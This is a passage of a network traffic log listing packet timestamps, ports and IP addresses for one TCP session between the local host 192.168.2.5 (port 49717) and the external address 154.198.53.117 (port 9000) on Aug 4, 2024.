Aug 4, 2024 12:55:23.166444063 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.166457891 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.166493893 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.166582108 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.166630030 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.166651964 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167113066 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167160034 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.167198896 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167215109 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167252064 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.167294979 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167310953 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167357922 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.167391062 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167403936 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167422056 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167437077 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167455912 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.167484045 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167491913 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.167498112 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167562008 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.167572975 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167586088 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167601109 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167639971 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.167737961 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167752028 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167773962 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.167793036 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.167833090 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.168210030 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168266058 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168282032 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168309927 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.168355942 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168370962 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168385029 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168406963 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.168435097 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168452024 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.168540001 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168554068 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168569088 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168595076 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.168622017 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168632030 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.168690920 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168715954 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168746948 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168795109 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.168925047 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168951035 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.168994904 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.168999910 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169028997 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169070005 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.169104099 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169118881 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169156075 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.169368029 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169393063 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169406891 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169421911 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169461012 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.169487000 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.169675112 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169728041 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169743061 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169771910 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.169811964 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169826031 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.169859886 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.170011044 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170023918 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170039892 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170053959 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170063972 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.170079947 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.170114994 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170130014 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170165062 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.170249939 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170264959 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170304060 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.170356989 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170402050 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.170412064 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170512915 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170526981 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170556068 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.170605898 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170619965 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170653105 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.170731068 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170754910 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170778036 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.170861006 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170885086 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.170907021 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.171000004 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.171047926 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.171052933 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.171775103 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.171819925 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.171838045 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.171853065 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.171899080 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.171926975 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.171942949 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.171957970 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.171976089 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.171983004 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.172030926 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.172046900 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172080994 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172094107 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172121048 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.172144890 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172158003 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172188997 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.172295094 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172339916 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.172354937 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172369957 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172411919 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.172414064 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172426939 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172470093 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.172476053 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172496080 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172539949 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.172761917 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172813892 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172827959 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172854900 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.172882080 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172895908 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.172930002 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.173063993 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173111916 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.173124075 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173137903 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173207045 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173219919 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173234940 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.173234940 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173259974 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.173295975 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173309088 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173340082 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.173501968 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173515081 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173546076 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.173646927 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173660994 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173693895 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.173805952 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173846006 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.173856974 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173871040 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173912048 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173914909 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.173926115 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173939943 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.173974037 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.174125910 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.174151897 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.174165964 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.174170017 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.174197912 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.174210072 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.174338102 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.174350977 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.174386024 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.174406052 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.174420118 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.174484968 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.174647093 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.174674034 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.174689054 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.174690008 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.174731970 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.175482988 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.175498962 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.175513983 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.175565004 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.254241943 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254259109 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254319906 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.254381895 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254581928 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254595995 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254618883 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254635096 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254637957 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.254674911 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.254753113 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254769087 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254786015 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254812002 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.254918098 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.254926920 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254944086 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254959106 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.254993916 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.255011082 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255027056 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255064011 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.255171061 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255218029 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.255244970 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255259991 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255275011 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255290031 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255306005 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.255337954 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.255525112 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255707979 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255723000 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255739927 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255749941 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.255805016 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.255898952 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255914927 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255930901 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255947113 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.255971909 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.255999088 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.258414984 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.258599997 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.258622885 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.258642912 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.258815050 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.258830070 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.258846045 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.258861065 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.258867979 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.258877039 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.258888006 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.258892059 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.258936882 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.258969069 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.258985043 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.259005070 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.259011030 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.259021044 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.259037018 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.259048939 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.259052038 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.259089947 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.259135008 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.259150982 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.259165049 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.259186983 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.259210110 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.259871960 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.259892941 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.259941101 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.387804985 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.387835979 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.387852907 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.387878895 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.387892962 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.387912989 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.387954950 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.387968063 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.387972116 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.388077974 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388091087 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.388103962 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388118029 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388149023 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388187885 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.388187885 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.388232946 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388284922 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.388293982 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388436079 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388520956 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388534069 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388561964 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.388572931 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388622046 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.388631105 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388674021 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.388703108 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388828993 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388885975 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.388935089 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388952017 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388974905 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.388993025 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389005899 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389014006 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.389043093 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.389244080 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389306068 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389322042 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389344931 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.389354944 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.389437914 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389451027 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389496088 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.389529943 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389543056 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389594078 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.389626980 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389641047 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389700890 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.389727116 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389791012 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389841080 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.389878035 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389892101 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389933109 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.389942884 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.389955997 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390017986 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.390125036 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390208960 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390271902 CEST	49717	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:23.390414000 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390460968 CEST	9000	49717	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:23.390474081 CEST	9000	49717	154.198.53.117	192.168.2.5
